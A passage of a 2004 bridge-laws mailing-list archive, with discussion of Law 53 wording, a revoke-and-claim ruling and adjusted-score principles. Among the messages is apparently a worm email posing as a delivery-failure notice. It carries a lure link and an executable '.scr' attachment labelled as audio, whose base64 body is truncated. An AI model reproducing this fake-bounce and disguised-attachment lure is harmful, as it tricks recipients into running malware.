<6.1.0.6.0.20040515113851.03634350@incoming.verizon.net> At 05:38 AM 15/05/2004, Gordon Rainsford wrote: LAW 53 - LEAD OUT OF TURN ACCEPTED >A. Lead out of Turn Treated as Correct Lead >Any lead faced out of turn may be treated as a correct lead. It becomes a >correct lead if declarer or either defender, as the case may be, accepts >it (by making a statement to that effect), or if the player next in >rotation plays to the irregular lead, Hmm. I had not really looked at this law in a while. We all know what it means but when I look at it I wonder if it doesn't say that declarer can lead out of turn, then say "I accept the lead". Is this law perhaps a candidate for re-wording? Walt From ereppert@rochester.rr.com Sat May 15 18:14:55 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 15 May 2004 13:14:55 -0400 Subject: [blml] How do you rule? In-Reply-To: <6.1.0.6.0.20040515113851.03634350@incoming.verizon.net> Message-ID: <629533B3-A693-11D8-BA3C-0030656F6826@rochester.rr.com> On Saturday, May 15, 2004, at 11:42 US/Eastern, Walt wrote: > At 05:38 AM 15/05/2004, Gordon Rainsford wrote: > > LAW 53 - LEAD OUT OF TURN ACCEPTED >> A. Lead out of Turn Treated as Correct Lead >> Any lead faced out of turn may be treated as a correct lead. It >> becomes a correct lead if declarer or either defender, as the case >> may be, accepts it (by making a statement to that effect), or if the >> player next in rotation plays to the irregular lead, > > > Hmm. > > I had not really looked at this law in a while. We all know what it > means but when I look at it I wonder if it doesn't say that declarer > can lead out of turn, then say "I accept the lead". > > Is this law perhaps a candidate for re-wording? Perhaps. Though it seems to me that "declarer or either defender, as the case may be" is intended to refer to an opponent of the player who led out of turn. And that's the way I read it the first time I saw it. From walt1@verizon.net Sat May 15 20:10:15 2004 From: walt1@verizon.net (Walt) Date: Sat, 15 May 2004 15:10:15 -0400 Subject: [blml] How do you rule? In-Reply-To: <629533B3-A693-11D8-BA3C-0030656F6826@rochester.rr.com> References: <6.1.0.6.0.20040515113851.03634350@incoming.verizon.net> <629533B3-A693-11D8-BA3C-0030656F6826@rochester.rr.com> Message-ID: <6.1.0.6.0.20040515150859.038a8720@incoming.verizon.net> At 01:14 PM 15/05/2004, Ed Reppert wrote: >On Saturday, May 15, 2004, at 11:42 US/Eastern, Walt wrote: > >>At 05:38 AM 15/05/2004, Gordon Rainsford wrote: >> >>LAW 53 - LEAD OUT OF TURN ACCEPTED >>>A. Lead out of Turn Treated as Correct Lead >>>Any lead faced out of turn may be treated as a correct lead. It becomes >>>a correct lead if declarer or either defender, as the case may be, >>>accepts it (by making a statement to that effect), or if the player next >>>in rotation plays to the irregular lead, >> >> >>Hmm. >> >>I had not really looked at this law in a while. We all know what it means >>but when I look at it I wonder if it doesn't say that declarer can lead >>out of turn, then say "I accept the lead". >> >>Is this law perhaps a candidate for re-wording? > >Perhaps. Though it seems to me that "declarer or either defender, as the >case may be" is intended to refer to an opponent of the player who led out >of turn. And that's the way I read it the first time I saw it. Ed You may well be right. I did not see an easy way to improve it. Walt From gordon@gordonrainsford.co.uk Sat May 15 20:25:57 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 15 May 2004 20:25:57 +0100 Subject: [blml] How do you rule? In-Reply-To: <6.1.0.6.0.20040515150859.038a8720@incoming.verizon.net> References: <6.1.0.6.0.20040515113851.03634350@incoming.verizon.net> <629533B3-A693-11D8-BA3C-0030656F6826@rochester.rr.com> <6.1.0.6.0.20040515150859.038a8720@incoming.verizon.net> Message-ID: On 15 May 2004, at 20:10, Walt wrote: > At 01:14 PM 15/05/2004, Ed Reppert wrote: > >> On Saturday, May 15, 2004, at 11:42 US/Eastern, Walt wrote: >> >>> At 05:38 AM 15/05/2004, Gordon Rainsford wrote: >>> >>> LAW 53 - LEAD OUT OF TURN ACCEPTED >>>> A. Lead out of Turn Treated as Correct Lead >>>> Any lead faced out of turn may be treated as a correct lead. It >>>> becomes a correct lead if declarer or either defender, as the case >>>> may be, accepts it (by making a statement to that effect), or if >>>> the player next in rotation plays to the irregular lead, >>> >>> >>> Hmm. >>> >>> I had not really looked at this law in a while. We all know what it >>> means but when I look at it I wonder if it doesn't say that declarer >>> can lead out of turn, then say "I accept the lead". >>> >>> Is this law perhaps a candidate for re-wording? >> >> Perhaps. Though it seems to me that "declarer or either defender, as >> the case may be" is intended to refer to an opponent of the player >> who led out of turn. And that's the way I read it the first time I >> saw it. > > > Ed > > You may well be right. I did not see an easy way to improve it. > > Walt The header might end with the words "...by opponent", though I can't really see it causing any director real problems. -- Gordon Rainsford London UK From postmaster@specialforces.net Sat May 15 23:28:40 2004 From: postmaster@specialforces.net (Postmaster) Date: Sat, 15 May 2004 18:28:40 -0400 Subject: [blml] Undeliverable Mail Message-ID: <10405151828.AA81067497@specialforces.net> User mailbox exceeds allowed size: webadmin@specialforces.net Original message follows. Received: from specialforces.net [82.33.168.249] by specialforces.net with ESMTP (SMTPD32-8.05) id A992BF300CE; Sat, 15 May 2004 18:28:34 -0400 From: blml@rtflb.org To: abcl@specialforces.net Subject: Mail Delivery (failure abcl@specialforces.net) Date: Sat, 15 May 2004 23:28:40 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200405151828342.SM00980@specialforces.net> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.specialforces.net/inbox/abcl/read.php?sessionid-1786
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwBAwAAAAAA [message truncated] From Frances.Hinden@Shell.com Mon May 17 11:09:26 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 17 May 2004 11:09:26 +0100 Subject: [blml] One trick or two? Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> This came up in a private (Gold Cup) match yesterday. We never bothered = to agree/get a ruling on it as it had no effect on the result of the = match. But we wondered what the ruling should be. AKJ10x 107xxx J Qx xxx Axxx xxx A10x contract is 3H by South (auction is irrelevant) HQ lead, low, low, Ace heart, Jack, low, King DK, low, low, low small club, low, King, low club, Queen, low, _small spade_ AK of spades, spade ruff (spades break 3-2) declarer now claims, saying "I can ruff a club to get to dummy" one trick or two? hypothetical question: Does it make a difference if declarer said only "I have the rest" ? Frances Hinden Strategic Planning Shell International Ltd. Shell Centre, London, SE1 7NA, UK Tel: +44 (0) 20 7934 2529 Fax: 6982 Mobile: +44 (0) 7899 065392 Email: Frances.Hinden@shell.com=20 Internet:http://www.shell.com/ This email may contain confidential and/or privileged information which = should not be used, copied or disclosed without permission. If you are = not an intended recipient, please contact the sender immediately. From blml@blakjak.com Mon May 17 12:39:12 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 17 May 2004 12:39:12 +0100 Subject: [blml] One trick or two? In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> Message-ID: Hinden, Frances SI-PXS wrote >This came up in a private (Gold Cup) match yesterday. We never >bothered to agree/get a ruling on it as it had no effect on the result >of the match. But we wondered what the ruling should be. > >AKJ10x >107xxx >J >Qx > >xxx >Axxx >xxx >A10x > >contract is 3H by South (auction is irrelevant) Reminds me of Saturday. When I went to the table the players assured me "The auction is irrelevant." When the case went ot appeal [heard by someone not unheard of here] one of the players said "Because of the auction I knew ...." >HQ lead, low, low, Ace >heart, Jack, low, King >DK, low, low, low >small club, low, King, low >club, Queen, low, _small spade_ >AK of spades, spade ruff (spades break 3-2) > >declarer now claims, saying "I can ruff a club to get to dummy" > >one trick or two? Two tricks: it is reasonable to suppose that his line might be to cash the CA, then ruff a club. The balance of doubt goes against revoker [yes, I know it goes against claimer as well, but if the non-claimers had revoked it is important to know that the balance of doubt goes against revoker]. >hypothetical question: >Does it make a difference if declarer said only "I have the rest" ? Not given my above ruling. But it could, yes. If the claim had been "dummy is good" then that is a one trick revoke because the claim assumes the CA will be discarded on a spade. "I have the rest is a two trick revoke". -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Mon May 17 12:42:54 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 17 May 2004 13:42:54 +0200 Subject: [blml] One trick or two? In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> Message-ID: <000001c43c04$17954210$6900a8c0@WINXP> > Hinden, Frances SI-PXS > Subject: [blml] One trick or two? >=20 > This came up in a private (Gold Cup) match yesterday. We never = bothered > to agree/get a ruling on it as it had no effect on the result of the > match. But we wondered what the ruling should be. >=20 > AKJ10x > 107xxx > J > Qx >=20 > xxx > Axxx > xxx > A10x >=20 > contract is 3H by South (auction is irrelevant) >=20 > HQ lead, low, low, Ace > heart, Jack, low, King > DK, low, low, low > small club, low, King, low > club, Queen, low, _small spade_ > AK of spades, spade ruff (spades break 3-2) >=20 > declarer now claims, saying "I can ruff a club to get to dummy" >=20 > one trick or two? One automatic trick (offending PLAYER did not win the revoke trick or = any subsequent trick with a club; he has stated as part of his claim that he will ruff the AC!) (Two or more tricks subject to Law 64C if the Director should find that = this is necessary to restore equity. I haven't bothered to check this out). > hypothetical question: > Does it make a difference if declarer said only "I have the rest" ? I believe yes. It seems to me that he "has the rest" without having to = ruff the AC; he can for instance ruff a diamond instead, so it is not = illogical to assume that he will cash his AC for one of the remaining tricks. Regards Sven From svenpran@online.no Mon May 17 12:57:22 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 17 May 2004 13:57:22 +0200 Subject: [blml] One trick or two? In-Reply-To: <000001c43c04$17954210$6900a8c0@WINXP> Message-ID: <000101c43c06$1cff9a00$6900a8c0@WINXP> Sorry - my fault. David is correct - I overlooked that although clubs = had been played twice declarer (South) still has a small club to his Ace. So this is a two trick revoke in all cases except if the claim statement clearly implies that absolutely every remaining trick will be taken in Dummy. Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Sven > Pran > Sent: 17. mai 2004 13:43 > To: blml > Subject: RE: [blml] One trick or two? >=20 > > Hinden, Frances SI-PXS > > Subject: [blml] One trick or two? > > > > This came up in a private (Gold Cup) match yesterday. We never = bothered > > to agree/get a ruling on it as it had no effect on the result of the > > match. But we wondered what the ruling should be. > > > > AKJ10x > > 107xxx > > J > > Qx > > > > xxx > > Axxx > > xxx > > A10x > > > > contract is 3H by South (auction is irrelevant) > > > > HQ lead, low, low, Ace > > heart, Jack, low, King > > DK, low, low, low > > small club, low, King, low > > club, Queen, low, _small spade_ > > AK of spades, spade ruff (spades break 3-2) > > > > declarer now claims, saying "I can ruff a club to get to dummy" > > > > one trick or two? >=20 > One automatic trick (offending PLAYER did not win the revoke trick or = any > subsequent trick with a club; he has stated as part of his claim that = he > will ruff the AC!) >=20 > (Two or more tricks subject to Law 64C if the Director should find = that > this > is necessary to restore equity. I haven't bothered to check this out). >=20 > > hypothetical question: > > Does it make a difference if declarer said only "I have the rest" ? >=20 > I believe yes. It seems to me that he "has the rest" without having to > ruff > the AC; he can for instance ruff a diamond instead, so it is not = illogical > to assume that he will cash his AC for one of the remaining tricks. >=20 >=20 > Regards Sven >=20 >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Mon May 17 13:06:33 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 17 May 2004 13:06:33 +0100 Subject: [blml] One trick or two? In-Reply-To: <000001c43c04$17954210$6900a8c0@WINXP> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> <000001c43c04$17954210$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Hinden, Frances SI-PXS >> Subject: [blml] One trick or two? >> >> This came up in a private (Gold Cup) match yesterday. We never bothered >> to agree/get a ruling on it as it had no effect on the result of the >> match. But we wondered what the ruling should be. >> >> AKJ10x >> 107xxx >> J >> Qx >> >> xxx >> Axxx >> xxx >> A10x >> >> contract is 3H by South (auction is irrelevant) >> >> HQ lead, low, low, Ace >> heart, Jack, low, King >> DK, low, low, low >> small club, low, King, low >> club, Queen, low, _small spade_ >> AK of spades, spade ruff (spades break 3-2) >> >> declarer now claims, saying "I can ruff a club to get to dummy" >> >> one trick or two? > >One automatic trick (offending PLAYER did not win the revoke trick or any >subsequent trick with a club; he has stated as part of his claim that he >will ruff the AC!) No, Sven, he has a little club he did not follow to the queen with, so he could cash the CA then ruff that little club. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ehaa@starpower.net Mon May 17 13:27:21 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 08:27:21 -0400 Subject: [blml] Long Beach 39-40 In-Reply-To: Message-ID: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> At 09:42 PM 5/13/04, James wrote: >Furthermore, as between the two principles ("Offenders should be >deprived of a good table result," "Blunderers are stuck with their table >result") the Laws nowhere assign absolute priority--or any priority at >all--to the former. Colker is making it all up (and, of course, so is >Wolff--but one expects that). That's because the first principle emerges directly from a straightforward and transparent reading of L12, while the second is a relatively recent (about 30 years -- I'm showing my age) principle proposed by Edgar Kaplan based on an arguably tortured and obscure reading of that law, now an accepted "interpretation" of language that contains nothing to justify it (in the sense that one could use the same language as the basis for a conflicting interpretation). We cannot expect TFLB to tell us how to weigh the relative priorities of a clearly stated fundamental principle and one that is not stated at all. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From svenpran@online.no Mon May 17 13:34:10 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 17 May 2004 14:34:10 +0200 Subject: [blml] One trick or two? In-Reply-To: Message-ID: <000201c43c0b$411887d0$6900a8c0@WINXP> > David Stevenson ........... > >One automatic trick (offending PLAYER did not win the revoke trick or = any > >subsequent trick with a club; he has stated as part of his claim that = he > >will ruff the AC!) >=20 > No, Sven, he has a little club he did not follow to the queen with, = so > he could cash the CA then ruff that little club. Exactly! My first reaction when I read your comment was surprise that you were in error here, then I realized that I had overlooked he of course still had = his small club to the Ace left. Regards Sven From hermandw@hdw.be Mon May 17 13:42:18 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 17 May 2004 14:42:18 +0200 Subject: [blml] One trick or two? In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> Message-ID: <40A8B32A.8070103@hdw.be> I don't see the particular difficulty here: Hinden, Frances SI-PXS wrote: > This came up in a private (Gold Cup) match yesterday. We never bothered to agree/get a ruling on it as it had no effect on the result of the match. But we wondered what the ruling should be. > > AKJ10x > 107xxx > J > Qx > > xxx > Axxx > xxx > A10x > > contract is 3H by South (auction is irrelevant) > > HQ lead, low, low, Ace > heart, Jack, low, King > DK, low, low, low > small club, low, King, low > club, Queen, low, _small spade_ revoke, non made by revoker = one trick unless there is a later trick in spades (by revoker). So just the one trick - wtp? > AK of spades, spade ruff (spades break 3-2) > OK, this is reason to have L64C checked - a spade loser has gone. But I don't see that there is more than one trick gained. > declarer now claims, saying "I can ruff a club to get to dummy" > well, he can get to dummy with trumps as well, I think? > one trick or two? > one IMO > hypothetical question: > Does it make a difference if declarer said only "I have the rest" ? > Well, "the rest" would include some spade winners on the table, so claimer would be supposed to have made a decision regarding entries, and again I don't see the problem. > > Frances Hinden > Strategic Planning > Shell International Ltd. > Shell Centre, London, SE1 7NA, UK > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Mon May 17 13:47:46 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 17 May 2004 14:47:46 +0200 Subject: [blml] One trick or two? In-Reply-To: <40A8B32A.8070103@hdw.be> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> <40A8B32A.8070103@hdw.be> Message-ID: <40A8B472.7010301@hdw.be> Al I allowed to withdraw this without it bein read? stupid me! And I'm chairing the TD exam tonight. I'll give myself a negative point Herman De Wael wrote: > I don't see the particular difficulty here: > > Hinden, Frances SI-PXS wrote: > >> This came up in a private (Gold Cup) match yesterday. We never >> bothered to agree/get a ruling on it as it had no effect on the result >> of the match. But we wondered what the ruling should be. >> >> AKJ10x >> 107xxx >> J >> Qx >> >> xxx >> Axxx >> xxx >> A10x >> >> contract is 3H by South (auction is irrelevant) >> >> HQ lead, low, low, Ace >> heart, Jack, low, King >> DK, low, low, low >> small club, low, King, low >> club, Queen, low, _small spade_ > > > revoke, non made by revoker = one trick unless there is a later trick in > spades (by revoker). > So just the one trick - wtp? > >> AK of spades, spade ruff (spades break 3-2) >> > > OK, this is reason to have L64C checked - a spade loser has gone. But I > don't see that there is more than one trick gained. > >> declarer now claims, saying "I can ruff a club to get to dummy" >> > > well, he can get to dummy with trumps as well, I think? > >> one trick or two? >> > > one IMO > >> hypothetical question: >> Does it make a difference if declarer said only "I have the rest" ? >> > > Well, "the rest" would include some spade winners on the table, so > claimer would be supposed to have made a decision regarding entries, and > again I don't see the problem. > >> >> Frances Hinden >> Strategic Planning >> Shell International Ltd. >> Shell Centre, London, SE1 7NA, UK >> > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ehaa@starpower.net Mon May 17 13:50:58 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 08:50:58 -0400 Subject: [blml] A new one In-Reply-To: References: Message-ID: <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> At 09:43 PM 5/13/04, David wrote: > In this case there was an agreed result on every board so L12C1 is > not an option. As Bill Clinton said, it depends on what the meaning of "is" is. There *is* no agreed result, else there would be no problem. What's different about this case is that we know that at one time there *was* one. But why should that matter? I do not see where a finding that "no result can be obtained" necessarily contradicts the facts that at one time a result could have been obtained, and, indeed, was. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Mon May 17 14:44:18 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 09:44:18 -0400 Subject: [blml] How do you rule? In-Reply-To: <6.1.0.6.0.20040515113851.03634350@incoming.verizon.net> References: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> <283A694A-A652-11D8-8834-0003936A6522@gordonrainsford.co.uk> Message-ID: <5.2.0.9.0.20040517092152.02902100@pop.starpower.net> At 11:42 AM 5/15/04, Walt wrote: >At 05:38 AM 15/05/2004, Gordon Rainsford wrote: > >LAW 53 - LEAD OUT OF TURN ACCEPTED >>A. Lead out of Turn Treated as Correct Lead >>Any lead faced out of turn may be treated as a correct lead. It >>becomes a correct lead if declarer or either defender, as the case >>may be, accepts it (by making a statement to that effect), or if the >>player next in rotation plays to the irregular lead, > >I had not really looked at this law in a while. We all know what it >means but when I look at it I wonder if it doesn't say that declarer >can lead out of turn, then say "I accept the lead". > >Is this law perhaps a candidate for re-wording? It seems clear enough. "As the case may be" tells us explicitly that the preceding "or" is to be read as exclusive. Given that, only the accepted meaning makes any sense at all. My initial reaction was that Walt's suggested alternative interpretation would contradict the law governing the order of play... but I find no such law! TFLB explicitly states that the auction goes clockwise (L17C), but I can't find an analogous statement about the play. Is it there; am I just missing it? If not, shouldn't it be added? Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From admin@autowebmail.net Mon May 17 14:46:16 2004 From: admin@autowebmail.net (Admin-Autowebmail) Date: 17 May 2004 13:46:16 -0000 Subject: [blml] Confirmation de votre e-mail Message-ID: <20040517134616.13505.qmail@ns3490.ovh.net> Bonjour et félicitations, Vous venez d'enregistrer votre email pour recevoir la lettre d'informations : -- Newsletter CIDINFO -- gérée par l'autorépondeur Autowebmail.net pour le site : http://cidinfo2000.free.fr/infraindex.htm Pour recevoir cette lettre d'information, vous devez confirmer votre email en cliquant ci-dessous : http://www.autowebmail.net/conf.php?id=195771 Nous vous remercions de l'intéręt que vous portez ŕ cette lettre d'informations. Nous vous souhaitons bonne lecture, Sylvain MILON Direction des affiliés http://www.autowebmail.net --------------------------------------------------------- Si vous ne connaissez pas l'origine de ce message, c'est qu'une tierce personne a utilisé votre email : blml@rtflb.org Vous pouvez vous désinscrire automatiquement en cliquant ici : http://www.autowebmail.net/suppr.php?d=195771&k=2882 --------------------------------------------------------- http://www.autowebmail.net Autorepondeur Gratuit pour votre site ! ! ! --------------------------------------------------------------------- Votre Accčs Gratuit et Anonyme ŕ Internet : http://www.topfai.com --------------------------------------------------------------------- From svenpran@online.no Mon May 17 16:21:45 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 17 May 2004 17:21:45 +0200 Subject: [blml] How do you rule? In-Reply-To: <5.2.0.9.0.20040517092152.02902100@pop.starpower.net> Message-ID: <000001c43c22$aa7845a0$6900a8c0@WINXP> Eric Landau .......... > My initial reaction was that Walt's suggested alternative > interpretation would contradict the law governing the order of play... > but I find no such law! TFLB explicitly states that the auction goes > clockwise (L17C), but I can't find an analogous statement about the > play. Is it there; am I just missing it? If not, shouldn't it be = added? You may have a point, but I feel that the following parts of the laws together give the necessary instructions? Definitions: Rotation - The clockwise order in which the deal and the right to call = or play progress. Turn - The correct time at which a player may call or play. Law 44B: After the lead, each other player in turn plays a card, ...... Actually it would appear to me that the words "in a clockwise rotation" = as included in Law 17C really are redundant but I wouldn't dream of = challenging their presence. Regards Sven =20 From blml@blakjak.com Mon May 17 16:34:13 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 17 May 2004 16:34:13 +0100 Subject: [blml] A new one In-Reply-To: <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> References: <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> Message-ID: Eric Landau wrote >At 09:43 PM 5/13/04, David wrote: > >> In this case there was an agreed result on every board so L12C1 is >>not an option. > >As Bill Clinton said, it depends on what the meaning of "is" is. There >*is* no agreed result, else there would be no problem. What's >different about this case is that we know that at one time there *was* >one. But why should that matter? > >I do not see where a finding that "no result can be obtained" >necessarily contradicts the facts that at one time a result could have >been obtained, and, indeed, was. Perhaps you should consider the word "obtained" then. A result *was* obtained, yes? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon May 17 16:35:33 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 17 May 2004 16:35:33 +0100 Subject: [blml] One trick or two? In-Reply-To: <40A8B32A.8070103@hdw.be> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> <40A8B32A.8070103@hdw.be> Message-ID: Herman De Wael wrote >I don't see the particular difficulty here: > >Hinden, Frances SI-PXS wrote: > >> This came up in a private (Gold Cup) match yesterday. We never >>bothered to agree/get a ruling on it as it had no effect on the result >>of the match. But we wondered what the ruling should be. >> AKJ10x >> 107xxx >> J >> Qx >> xxx >> Axxx >> xxx >> A10x >> contract is 3H by South (auction is irrelevant) >> HQ lead, low, low, Ace >> heart, Jack, low, King >> DK, low, low, low >> small club, low, King, low >> club, Queen, low, _small spade_ > >revoke, non made by revoker = one trick unless there is a later trick >in spades (by revoker). >So just the one trick - wtp? > >> AK of spades, spade ruff (spades break 3-2) >> > >OK, this is reason to have L64C checked - a spade loser has gone. But I >don't see that there is more than one trick gained. > >> declarer now claims, saying "I can ruff a club to get to dummy" >> > >well, he can get to dummy with trumps as well, I think? > >> one trick or two? >> > >one IMO > >> hypothetical question: >> Does it make a difference if declarer said only "I have the rest" ? >> > >Well, "the rest" would include some spade winners on the table, so >claimer would be supposed to have made a decision regarding entries, >and again I don't see the problem. Did he win a later trick with the CA or not? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From mfrench1@san.rr.com Mon May 17 17:30:41 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 17 May 2004 09:30:41 -0700 Subject: [blml] Long Beach 39-40 References: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> Message-ID: <000401c43c2c$4ea9e080$6401a8c0@san.rr.com> From: "Eric Landau" > James wrote: > > >Furthermore, as between the two principles ("Offenders should be > >deprived of a good table result," "Blunderers are stuck with their table > >result") the Laws nowhere assign absolute priority--or any priority at > >all--to the former. Colker is making it all up (and, of course, so is > >Wolff--but one expects that). These are independent steps, not requiring a prioity ranking. Do them in either order, they are independent. > > That's because the first principle emerges directly from a > straightforward and transparent reading of L12, while the second is a > relatively recent (about 30 years -- I'm showing my age) principle > proposed by Edgar Kaplan based on an arguably tortured and obscure > reading of that law, now an accepted "interpretation" of language that > contains nothing to justify it (in the sense that one could use the > same language as the basis for a conflicting interpretation). We > cannot expect TFLB to tell us how to weigh the relative priorities of a > clearly stated fundamental principle and one that is not stated at all. > The basic idea seems fine to me: If the non-offenders throw away a beneficial result due to an egregious blunder (e.g., a revoke), it can hardly be said that they were damaged by the infraction. They were helped by the infraction, not hurt by it, then shot themselves in the foot. Hence, no redress. As Kaplan said, the self-damage comes after the infraction, post hoc but not propter hoc. For the offenders, "damage" is defined as an advantage in the score because of the infraction, damage to the game if you will. That's how the WBFLC defined the word "damage," as was quite logical. L16A2, for instance, does not say "damage to the opponents," but just "damage." Marv Marvin L. French San Diego, California From john@asimere.com Mon May 17 17:47:10 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 17 May 2004 17:47:10 +0100 Subject: [blml] One trick or two? In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> Message-ID: In article <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s- 031.europe.shell.com>, Hinden, Frances SI-PXS writes >This came up in a private (Gold Cup) match yesterday. We never bothered to >agree/get a ruling on it as it had no effect on the result of the match. But we >wondered what the ruling should be. > >AKJ10x >107xxx >J >Qx > >xxx >Axxx >xxx >A10x > >contract is 3H by South (auction is irrelevant) > >HQ lead, low, low, Ace >heart, Jack, low, King >DK, low, low, low >small club, low, King, low >club, Queen, low, _small spade_ >AK of spades, spade ruff (spades break 3-2) > >declarer now claims, saying "I can ruff a club to get to dummy" 1 trick, didn't win a club in hand, at or after the revoke > >one trick or two? > >hypothetical question: >Does it make a difference if declarer said only "I have the rest" ? 2 tricks, there are lines where a club can be won in hand. -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Mon May 17 17:49:22 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 17 May 2004 17:49:22 +0100 Subject: [blml] One trick or two? In-Reply-To: References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> <000001c43c04$17954210$6900a8c0@WINXP> Message-ID: In article , David Stevenson writes >Sven Pran wrote >>> Hinden, Frances SI-PXS >>> Subject: [blml] One trick or two? >>> >>> This came up in a private (Gold Cup) match yesterday. We never bothered >>> to agree/get a ruling on it as it had no effect on the result of the >>> match. But we wondered what the ruling should be. >>> >>> AKJ10x >>> 107xxx >>> J >>> Qx >>> >>> xxx >>> Axxx >>> xxx >>> A10x >>> >>> contract is 3H by South (auction is irrelevant) >>> >>> HQ lead, low, low, Ace >>> heart, Jack, low, King >>> DK, low, low, low >>> small club, low, King, low >>> club, Queen, low, _small spade_ >>> AK of spades, spade ruff (spades break 3-2) >>> >>> declarer now claims, saying "I can ruff a club to get to dummy" >>> >>> one trick or two? >> >>One automatic trick (offending PLAYER did not win the revoke trick or any >>subsequent trick with a club; he has stated as part of his claim that he >>will ruff the AC!) > > No, Sven, he has a little club he did not follow to the queen with, so >he could cash the CA then ruff that little club. I think that he pitched the CA, he's said "dummy's high" in effect. > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | 